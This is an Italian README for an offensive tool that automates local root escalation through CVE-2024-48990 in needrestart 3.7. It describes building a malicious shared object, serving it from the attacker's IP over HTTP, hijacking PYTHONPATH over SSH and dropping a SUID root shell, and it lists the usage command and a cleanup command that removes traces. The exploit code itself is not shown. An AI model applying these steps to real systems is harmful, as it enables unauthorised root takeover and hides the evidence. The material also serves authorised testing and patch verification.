CVE-2024-48990 Dirottamento di PYTHONPATH - Exploit di Escalation dei Privilegi

Questo strumento automatizza lo sfruttamento di una vulnerabilità di escalation dei privilegi in needrestart versione 3.7, identificata come CVE-2024-48990.
Ottiene l'esecuzione come root sfruttando l'uso non sicuro della variabile d'ambiente PYTHONPATH quando needrestart analizza i processi Python.

Riepilogo

L'exploit funziona:

1. Compilando un oggetto condiviso malevolo (__init__.so) che viene attivato all'importazione.
2. Servendo il .so tramite un server HTTP locale.
3. Connettendosi al target via SSH e predisponendo un ambiente PYTHONPATH malevolo.
4. Avviando un processo esca Python che importa continuamente importlib.
5. Eseguendo needrestart, che eredita il PYTHONPATH manipolato, carica il modulo malevolo ed esegue il payload come root.
6. Il payload crea un binario SUID (/tmp/poc), consentendo l'accesso a una shell root.

Utilizzo

Esegui l'exploit dalla tua macchina attaccante:

python3 exploit.py --user <ssh_user> --host <target_ip> --att-ip <attacker_ip> --ssh-pass <ssh_password>

Parametri:

• --user Nome utente SSH sul target
• --host Indirizzo IP del target
• --att-ip IP dell'attaccante (usato per ospitare il payload)
• --ssh-pass Password SSH (ometti se usi chiavi SSH)
• --http-port Porta HTTP opzionale (default: 8000)

CVE

• CVE ID: CVE-2024-48990
• Software interessato: needrestart versione 3.7
• Tipo di vulnerabilità: Gestione non sicura delle variabili d'ambiente
• Impatto: Escalation locale dei privilegi a root

Pulizia

Per rimuovere le tracce dell'exploit dal target:

rm -rf /tmp/malicious /tmp/poc /tmp/exploit.sh

Requisiti

Macchina attaccante:

• Python 3
• pexpect (pip3 install pexpect)
• gcc (per compilare il payload)
• Accesso SSH aperto al target
• python3 -m http.server (avviato automaticamente dallo script)

Macchina target:

• Una versione vulnerabile di needrestart (v3.7)
• Un utente non root con diritti sudo NOPASSWD per /usr/sbin/needrestart
• Python 3 e curl installati

Disclaimer

Questo strumento è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati. Non utilizzarlo su sistemi che non possiedi o senza autorizzazione esplicita.